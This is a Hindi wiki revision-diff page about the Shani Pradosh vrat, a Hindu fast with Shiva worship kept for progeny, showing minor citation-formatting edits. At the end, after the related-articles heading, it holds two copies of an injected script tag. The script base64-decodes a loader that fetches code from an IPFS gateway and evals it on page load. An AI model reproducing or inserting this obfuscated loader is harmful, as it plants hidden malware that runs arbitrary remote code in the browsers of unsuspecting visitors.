व्यवस्थापन (वार्ता | योगदान) छो (Text replace - "==टीका टिप्पणी और संदर्भ==" to "{{संदर्भ ग्रंथ}} ==टीका टिप्पणी और संदर्भ==") |
व्यवस्थापन (वार्ता | योगदान) छो (Text replace - ")</ref" to "</ref") |
||
पंक्ति 3: | पंक्ति 3: | ||
*शनिप्रदोषव्रत एक वर्ष तक; सन्तति के लिए किया जाता है। | *शनिप्रदोषव्रत एक वर्ष तक; सन्तति के लिए किया जाता है। | ||
*शनिप्रदोषव्रत में [[शिव]] पूजा की जाती है। | *शनिप्रदोषव्रत में [[शिव]] पूजा की जाती है। | ||
*ऐसी मान्यता है कि [[सूर्योस्त]] के उपरान्त भोजन ग्रहण करना चाहिए।<ref>स्मृतिकौस्तुभ (40-41); पुरुषार्थचिन्तामणि (225-229); व्रतार्क (265अ-269ब | *ऐसी मान्यता है कि [[सूर्योस्त]] के उपरान्त भोजन ग्रहण करना चाहिए।<ref>स्मृतिकौस्तुभ (40-41); पुरुषार्थचिन्तामणि (225-229); व्रतार्क (265अ-269ब</ref> | ||
{{संदर्भ ग्रंथ}} | {{संदर्भ ग्रंथ}} | ||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== |
13:01, 27 जुलाई 2011 के समय का अवतरण
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
- कार्तिक मास से आगे रविवार को पड़ने वाली त्रयोदशी पर शनिप्रदोषव्रत किया जाता है।
- शनिप्रदोषव्रत एक वर्ष तक; सन्तति के लिए किया जाता है।
- शनिप्रदोषव्रत में शिव पूजा की जाती है।
- ऐसी मान्यता है कि सूर्योस्त के उपरान्त भोजन ग्रहण करना चाहिए।[1]
टीका टिप्पणी और संदर्भ
- ↑ स्मृतिकौस्तुभ (40-41); पुरुषार्थचिन्तामणि (225-229); व्रतार्क (265अ-269ब
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>